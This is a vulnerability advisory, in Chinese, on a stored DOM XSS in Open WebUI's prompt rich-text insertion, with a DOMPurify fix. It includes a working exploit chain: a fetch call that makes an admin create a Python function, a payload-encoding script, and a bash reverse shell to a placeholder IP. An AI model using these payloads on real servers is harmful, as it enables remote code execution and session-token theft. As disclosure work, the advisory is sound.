
Open WebUI 存在通过提示触发的存储型 DOM XSS 漏洞,当启用'以富文本形式插入提示'时,可导致 ATO/RCE。
Open WebUI 在启用“以富文本方式插入提示”时,存在通过提示触发的存储型 DOM XSS 漏洞,可导致账户接管(ATO)或远程代码执行(RCE)

当“以富文本方式插入提示”功能启用时,将自定义提示插入聊天窗口的功能容易受到 DOM XSS 攻击,因为提示内容被直接赋值给 DOM sink .innerHtml 而未经过净化。任何拥有创建提示权限的用户都可以利用此漏洞植入载荷,其他用户如果执行对应的 / 命令来插入该提示,就会触发该载荷。
受影响的代码行位于:
open-webui/src/lib/components/common/RichTextInput.svelte
第 348 行,提交 7a83e7d
tempDiv.innerHTML = htmlContent;
export const replaceCommandWithText = async (text) => {
const { state, dispatch } = editor.view;
const { selection } = state;
const pos = selection.from;
// 获取本文档的纯文本
// const docText = state.doc.textBetween(0, state.doc.content.size, '\n', '\n');
// 找到光标处的单词边界
const { start, end } = getWordBoundsAtPos(state.doc, pos);
let tr = state.tr;
if (insertPromptAsRichText) {
const htmlContent = marked
.parse(text, {
breaks: true,
gfm: true
})
.trim();
// 创建临时 div 来解析 HTML
const tempDiv = document.createElement('div');
tempDiv.innerHTML = htmlContent; // <---- 此处存在漏洞
由用户控制的提示内容被赋值给 tempDiv.innerHTML,但未经过(有意义的)净化。marked.parse 在字符方面有一些限制,但并未对内容进行净化,其 README 中也已说明这一点。
按如下方式创建自定义提示:

在设置中,确保“以富文本方式插入提示”已启用:

在聊天窗口中运行命令 /poc:

观察到弹窗被触发:

由于管理员天然可以通过“函数”功能在服务器上运行任意 Python 代码,此 XSS 可用于强制任何触发它的管理员运行攻击者选择的 Python 函数代码。
这可以通过让管理员执行以下 fetch 请求来实现:
fetch("https://<HOST>/api/v1/functions/create", {
method: "POST",
credentials: "include",
headers: {
"Content-Type": "application/json",
"Accept": "application/json"
},
body: JSON.stringify({
id: "pentest_cmd_test",
name: "pentest cmd test",
meta: { description: "pentest cmd test" },
content: "import os;os.system('echo RCE')"
})
})
不能直接这样做,因为通过 marked.parse 处理的 HTML 会中和包含引号的载荷:

为了解决这个问题,必须使用 String.fromCodePoint 手动从十进制值构造字符串。以下 Python 脚本根据给定的 JavaScript 自动生成可用的载荷:
payload2 = """
fetch("https://<HOST>/api/v1/functions/create", {
method: "POST",
credentials: "include",
headers: {
"Content-Type": "application/json",
"Accept": "application/json"
},
body: JSON.stringify({
id: "pentest_cmd_test",
name: "pentest cmd test",
meta: { description: "pentest cmd test" },
content: "import os;os.system('bash -c \\\\'/bin/bash -i >& /dev/tcp/x.x.x.x/443 0>&1\\\\'')"
})
})
""".lstrip().rstrip()
out = ""
for c in payload2:
out += f"String.fromCodePoint({ord(c)})+"
print(f"")
管理员通过提示命令触发相应载荷时,会执行一个 Python 函数,该函数运行反向 shell 载荷,从而让攻击者获得服务器的命令行访问权限。

任何运行恶意提示的用户都可能通过恶意 JavaScript 读取其存储在 localStorage 中的会话令牌并将其外泄到攻击者控制的服务器,从而导致账户被入侵。
管理员用户运行恶意提示时,后端服务器将面临远程代码执行(RCE)风险,因为通过漏洞运行的恶意 JavaScript 可以以管理员身份发送请求,执行恶意的 Python 函数,这些函数可能运行操作系统命令。
默认情况下,低权限用户无法创建提示,需要 USER_PERMISSIONS_WORKSPACE_PROMPTS_ACCESS 权限,该权限可能通过自定义组等方式授予。参见:https://docs.openwebui.com/features/workspace/prompts/#access-control-and-permissions
受害用户运行命令触发提示时,需要在偏好设置中启用“以富文本方式插入提示”功能,漏洞才会被触发。该设置默认关闭。未启用该设置的用户不受影响。
在将用户控制的 HTML 赋值给 .innerHTML 之前,应使用 DOMPurify 对其进行净化。